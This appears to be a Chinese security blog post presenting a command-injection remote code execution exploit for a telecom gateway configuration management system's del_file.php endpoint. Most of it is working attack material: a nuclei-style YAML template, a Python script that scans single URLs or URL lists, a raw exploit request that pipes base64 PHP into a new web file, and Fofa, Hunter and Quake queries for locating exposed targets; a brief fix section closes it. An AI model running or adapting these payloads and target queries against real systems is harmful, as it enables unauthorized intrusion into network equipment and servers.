免责申明:本文内容为学习笔记分享,仅供技术学习参考,请勿用作违法用途,任何个人和组织利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责,与本平台和发布者无关!!!

POC(Yaml&Python)

话不多说先上POC(Yam-poc由yakit或ProjectDiscovery Cloud Platform生成,Python-poc脚本由chatgpt生成,准确性请自测.

id: dx-gateway-config-manage-del_file-rce

info:
  name: 电信网关配置管理系统 del_file.php存在命令执行
  author: xx
  severity: critical
  description: 电信网关配置管理系统 del_file.php存在命令执行
  metadata:
    fofa-query: body="a:link{text-decoration:none;color:orange;}"
  tags: dx,rce
variables:
  filename: '{{rand_base(6)}}'


http:
- raw:
  - |+
    @timeout: 30s
    GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{{filename}}.php HTTP/1.1
    Host: {{Hostname}}

  - |+
    @timeout: 30s
    GET /manager/newtpl/{{filename}}.php HTTP/1.1
    Host: {{Hostname}}

  max-redirects: 3
  matchers-condition: and
  matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200'
          - 'status_code_2 == 200'
          - 'contains(body_2, "e10adc3949ba59abbe56e057f20f883e")'  
        condition: and

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import random
import string
import argparse
from urllib3.exceptions import InsecureRequestWarning

RED = '\033[91m'
RESET = '\033[0m'
# 忽略不安全请求的警告
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

def rand_base(n):
    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=n))

def check_vulnerability(url):
    filename = rand_base(6)
    # 第一个请求:注入恶意代码并生成PHP文件
    inject_url = url.rstrip('/') + f'/manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20{filename}.php'
  
    try:
        response_inject = requests.get(inject_url, verify=False, timeout=30)
        # print(f'Inject Response Status Code: {response_inject.status_code}')

        # 第二个请求:访问生成的PHP文件
        access_url = url.rstrip('/') + f'/manager/newtpl/{filename}.php'
        response_access = requests.get(access_url, verify=False, timeout=30)
        # print(f'Access Response Status Code: {response_access.status_code}')
        # print(f'Access Response Body: {response_access.text}')

        if response_inject.status_code == 200 and response_access.status_code == 200 and "e10adc3949ba59abbe56e057f20f883e" in response_access.text:
            print(f"{RED}URL [{url}] 存在电信网关配置管理系统 del_file.php 命令执行漏洞{RESET}")
        else:
            print(f"URL [{url}] 不存在漏洞")
    except requests.exceptions.Timeout:
        print(f"URL [{url}] 请求超时,可能存在漏洞")
    except requests.RequestException as e:
        print(f"URL [{url}] 请求失败: {e}")

def main():
    parser = argparse.ArgumentParser(description='检测目标地址是否存在电信网关配置管理系统 del_file.php 命令执行漏洞')
    parser.add_argument('-u', '--url', help='指定目标地址')
    parser.add_argument('-f', '--file', help='指定包含目标地址的文本文件')

    args = parser.parse_args()

    if args.url:
        if not args.url.startswith("http://") and not args.url.startswith("https://"):
            args.url = "http://" + args.url
        check_vulnerability(args.url)
    elif args.file:
        with open(args.file, 'r') as file:
            urls = file.read().splitlines()
            for url in urls:
                if not url.startswith("http://") and not url.startswith("https://"):
                    url = "http://" + url
                check_vulnerability(url)

if __name__ == '__main__':
    main()

漏洞介绍

电信网关配置管理系统是一个用于管理和配置电信网关设备的软件系统。它通常包括了对网关设备进行配置、监控、故障排除和性能管理等功能。通过这样的系统,运营商可以更方便地管理和维护他们的网络设备。

del_file接口存在命令执行漏洞,导致恶意攻击者可以执行命令上传恶意后门、木马等,从而获取对服务器的远程访问权限或者破坏系统,对服务器造成极大的安全隐患。

资产测绘

  • 「Fofa」

body="a:link{text-decoration:none;color:orange;}"
  • 「Hunter」

web.body="a:link{text-decoration:none;color:orange;}"
  • Quake

body="a:link{text-decoration:none;color:orange;}"

漏洞复现

「1、构造数据包」

GET /manager/newtpl/del_file.php?file=1.txt%7Cecho%20PD9waHAgZWNobyBtZDUoJzEyMzQ1NicpO3VubGluayhfX0ZJTEVfXyk7Pz4%3D%20%7C%20base64%20-d%20%3E%20404.php HTTP/1.1
Host: ip

「2、查看上传文件」

修复方案

官方已发布安全补丁,建议联系厂商升级更新。

引入Web应用防火墙防护,配置接口拦截策略。